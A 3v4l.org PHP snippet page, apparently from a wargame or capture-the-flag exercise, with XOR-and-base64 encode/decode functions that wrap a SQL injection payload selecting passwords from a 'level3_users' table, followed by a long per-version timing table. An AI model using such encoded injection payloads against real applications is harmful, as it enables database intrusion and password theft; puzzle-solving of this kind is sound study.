3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT password,2,3,4,5,6,7 FROM level3_users #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00916.75
8.3.50.0070.01222.09
8.3.40.0070.01119.12
8.3.30.0040.01119.27
8.3.20.0080.00020.34
8.3.10.0050.00323.70
8.3.00.0040.00419.63
8.2.180.0060.01218.18
8.2.170.0030.01622.96
8.2.160.0140.00420.52
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0030.00626.16
8.2.120.0080.00022.25
8.2.110.0060.00322.04
8.2.100.0080.00417.97
8.2.90.0080.00019.21
8.2.80.0000.00817.97
8.2.70.0000.00917.75
8.2.60.0080.00017.93
8.2.50.0040.00418.07
8.2.40.0030.00618.16
8.2.30.0040.00418.19
8.2.20.0040.00418.03
8.2.10.0030.00518.29
8.2.00.0080.00017.81
8.1.280.0160.00325.92
8.1.270.0060.00323.99
8.1.260.0070.00326.35
8.1.250.0000.00828.09
8.1.240.0060.00323.82
8.1.230.0070.00418.98
8.1.220.0040.00417.90
8.1.210.0040.00418.77
8.1.200.0030.00617.48
8.1.190.0030.00617.52
8.1.180.0000.00818.10
8.1.170.0050.00318.68
8.1.160.0050.00321.98
8.1.150.0080.00018.82
8.1.140.0040.00417.73
8.1.130.0060.00317.55
8.1.120.0070.00017.67
8.1.110.0000.00717.54
8.1.100.0050.00317.54
8.1.90.0000.00817.64
8.1.80.0000.00817.68
8.1.70.0000.00717.52
8.1.60.0060.00317.80
8.1.50.0000.00817.71
8.1.40.0030.00517.61
8.1.30.0080.00017.75
8.1.20.0080.00017.69
8.1.10.0040.00417.72
8.1.00.0000.00817.71
8.0.300.0060.00318.77
8.0.290.0000.00817.18
8.0.280.0040.00418.50
8.0.270.0040.00417.33
8.0.260.0040.00416.99
8.0.250.0050.00217.12
8.0.240.0000.01017.14
8.0.230.0050.00216.99
8.0.220.0000.00817.14
8.0.210.0030.00617.05
8.0.200.0000.00617.11
8.0.190.0070.00017.14
8.0.180.0080.00017.13
8.0.170.0000.00817.16
8.0.160.0000.00817.03
8.0.150.0000.00717.05
8.0.140.0050.00216.91
8.0.130.0000.00613.59
8.0.120.0000.00816.98
8.0.110.0040.00416.96
8.0.100.0040.00417.07
8.0.90.0000.00717.04
8.0.80.0030.01217.05
8.0.70.0000.00817.10
8.0.60.0040.00416.98
8.0.50.0040.00416.91
8.0.30.0100.01017.10
8.0.20.0090.00917.40
8.0.10.0080.00017.14
8.0.00.0090.00817.06
7.4.330.0060.00015.00
7.4.320.0000.00716.78
7.4.300.0030.00316.72
7.4.290.0070.00016.73
7.4.280.0030.00616.64
7.4.270.0000.00816.64
7.4.260.0040.00416.73
7.4.250.0000.00716.73
7.4.240.0030.00316.87
7.4.230.0070.00016.64
7.4.220.0130.01316.88
7.4.210.0080.00716.80
7.4.200.0040.00416.72
7.4.190.0050.00316.89
7.4.160.0090.01216.78
7.4.150.0070.01017.40
7.4.140.0080.01117.86
7.4.130.0090.01016.72
7.4.120.0070.01016.76
7.4.110.0060.01116.64
7.4.100.0130.00616.60
7.4.90.0100.00716.77
7.4.80.0090.01519.39
7.4.70.0070.01016.86
7.4.60.0090.00916.51
7.4.50.0050.00316.59
7.4.40.0070.00522.77
7.4.30.0030.01316.71
7.4.00.0060.01015.04
7.3.330.0020.00213.38
7.3.320.0030.00313.54
7.3.310.0090.00016.53
7.3.300.0000.00716.55
7.3.290.0060.00916.54
7.3.280.0110.00816.54
7.3.270.0120.00617.40
7.3.260.0140.00716.72
7.3.250.0110.00916.77
7.3.240.0100.01416.52
7.3.230.0090.01216.60
7.3.210.0110.00916.54
7.3.200.0070.01719.39
7.3.190.0100.00716.64
7.3.180.0110.00616.77
7.3.170.0040.01216.51
7.3.160.0130.00316.95
7.3.120.0040.00815.10
7.2.330.0140.00416.86
7.2.320.0100.01017.00
7.2.310.0060.00916.94
7.2.300.0120.00616.76
7.2.290.0100.00716.91
7.2.60.0770.01115.27
7.2.00.0100.00719.89
7.1.100.0620.00416.59
7.1.70.0030.00517.44
7.1.60.0110.01419.33
7.1.50.0120.00834.95
7.1.00.0100.06722.38
7.0.200.0120.00916.82
7.0.140.0000.07721.92
7.0.80.0400.06319.92
7.0.70.0430.07319.95
7.0.60.0370.06019.98
7.0.50.0100.07720.16
7.0.40.0100.07320.11
7.0.30.0170.04320.11
7.0.20.0170.07020.19
7.0.10.0170.07320.09
7.0.00.0100.07320.09
5.6.280.0100.06720.77
5.6.230.0030.08720.72
5.6.220.0100.07720.62
5.6.210.0100.08020.57
5.6.200.0100.08021.18
5.6.190.0100.04721.00
5.6.180.0070.06721.07
5.6.170.0070.04321.05
5.6.160.0070.07021.08
5.6.150.0130.05721.05
5.6.140.0170.07721.11
5.6.130.0030.08321.14
5.6.120.0030.09021.12
5.6.110.0070.08721.04
5.6.100.0170.07720.94
5.6.90.0100.08721.04
5.6.80.0130.08020.38
5.6.70.0070.07720.35
5.6.60.0070.07020.40
5.6.50.0170.03320.50
5.6.40.0000.05020.40
5.6.30.0130.05320.41
5.6.20.0070.07720.32
5.6.10.0030.07020.46
5.6.00.0070.05020.40
5.5.370.0070.08320.52
5.5.360.0070.08320.54
5.5.350.0100.07320.46
5.5.340.0070.07720.66
5.5.330.0070.05720.93
5.5.320.0030.06320.93
5.5.310.0030.08720.84
5.5.300.0170.07320.93
5.5.290.0100.07320.83
5.5.280.0170.07720.73
5.5.270.0070.08320.93
5.5.260.0100.08320.86
5.5.250.0100.08320.72
5.5.240.0100.07720.20
5.5.230.0070.08720.14
5.5.220.0130.07720.31
5.5.210.0170.05720.32
5.5.200.0070.06020.29
5.5.190.0130.07020.27
5.5.180.0030.07320.19
5.5.160.0100.08020.23
5.5.150.0070.07720.18
5.5.140.0130.08020.00
5.5.130.0130.06720.24
5.5.120.0100.07320.22
5.5.110.0100.07020.14
5.5.100.0130.06020.00
5.5.90.0130.08020.16
5.5.80.0100.07720.18
5.5.70.0000.06020.07
5.5.60.0030.08319.97
5.5.50.0100.04320.14
5.5.40.0070.07720.06
5.5.30.0130.07020.05
5.5.20.0070.07720.09
5.5.10.0130.06720.09
5.5.00.0100.07720.14
5.4.450.0100.07719.36
5.4.440.0030.06019.25
5.4.430.0200.06719.41
5.4.420.0030.08019.23
5.4.410.0070.07019.14
5.4.400.0130.06719.21
5.4.390.0000.08019.14
5.4.380.0070.07319.13
5.4.370.0030.08319.13
5.4.360.0030.05719.14
5.4.350.0100.07019.13
5.4.340.0100.07019.18
5.4.320.0130.07319.07
5.4.310.0100.07319.16
5.4.300.0070.04719.12
5.4.290.0070.07719.21
5.4.280.0030.05318.84
5.4.270.0000.06719.16
5.4.260.0070.07019.04
5.4.250.0100.07718.84
5.4.240.0030.05019.13
5.4.230.0100.07719.12
5.4.220.0130.04019.18
5.4.210.0030.07019.20
5.4.200.0100.04719.13
5.4.190.0130.06318.84
5.4.180.0070.05019.15
5.4.170.0070.03719.04
5.4.160.0070.04718.86
5.4.150.0030.05718.86
5.4.140.0070.07316.44
5.4.130.0030.06316.37
5.4.120.0070.07716.48
5.4.110.0030.07716.59
5.4.100.0030.03716.49
5.4.90.0070.03316.48
5.4.80.0130.06716.43
5.4.70.0030.07016.40
5.4.60.0100.03316.48
5.4.50.0130.04016.39
5.4.40.0100.03316.41
5.4.30.0030.05016.40
5.4.20.0200.06016.40
5.4.10.0030.08016.43
5.4.00.0070.07715.64
5.3.290.0070.07314.66
5.3.280.0100.06714.70
5.3.270.0070.07014.58
5.3.260.0100.07714.54
5.3.250.0100.06714.58
5.3.240.0030.08014.73
5.3.230.0070.08014.71
5.3.220.0200.06314.54
5.3.210.0170.06014.67
5.3.200.0130.03314.54
5.3.190.0130.04014.61
5.3.180.0030.05314.60
5.3.170.0070.05314.52
5.3.160.0170.07014.55
5.3.150.0070.08014.59
5.3.140.0130.04714.62
5.3.130.0100.07314.62
5.3.120.0030.06314.68
5.3.110.0130.07014.65
5.3.100.0130.07314.02
5.3.90.0130.07014.02
5.3.80.0100.07014.09
5.3.70.0070.06014.03
5.3.60.0130.07014.07
5.3.50.0030.06714.08
5.3.40.0030.07013.93
5.3.30.0070.06313.84
5.3.20.0030.05713.76
5.3.10.0070.04013.72
5.3.00.0100.07013.71
5.2.170.0070.05713.71
5.2.160.0030.06313.71
5.2.150.0030.06313.71
5.2.140.0030.06013.71
5.2.130.0030.04713.71
5.2.120.0030.06313.71
5.2.110.0130.05713.71
5.2.100.0070.03313.71
5.2.90.0030.06013.71
5.2.80.0070.06713.71
5.2.70.0030.05713.71
5.2.60.0030.05013.71
5.2.50.0030.05713.71
5.2.40.0070.03713.71
5.2.30.0070.05713.71
5.2.20.0070.05713.71
5.2.10.0030.06313.71
5.2.00.0070.05713.71
5.1.60.0030.05313.71
5.1.50.0070.05313.71
5.1.40.0030.05313.71
5.1.30.0070.05713.71
5.1.20.0000.05313.71
5.1.10.0030.05713.71
5.1.00.0030.06013.71
5.0.50.0000.04313.71
5.0.40.0100.03313.71
5.0.30.0070.05313.71
5.0.20.0100.03713.71
5.0.10.0000.04313.71
5.0.00.0000.07013.71
4.4.90.0000.03713.71
4.4.80.0000.03713.71
4.4.70.0030.03713.71
4.4.60.0000.03013.71
4.4.50.0070.02713.71
4.4.40.0100.04313.71
4.4.30.0000.03013.71
4.4.20.0000.02713.71
4.4.10.0030.03713.71
4.4.00.0070.05013.71
4.3.110.0070.03013.71
4.3.100.0000.03013.71
4.3.90.0000.03013.71
4.3.80.0030.03713.71
4.3.70.0030.03313.71
4.3.60.0030.03313.71
4.3.50.0070.03013.71
4.3.40.0030.04713.71
4.3.30.0100.03713.71
4.3.20.0070.03013.71
4.3.10.0000.03713.71
4.3.00.0000.03013.71

preferences:
58.24 ms | 400 KiB | 5 Q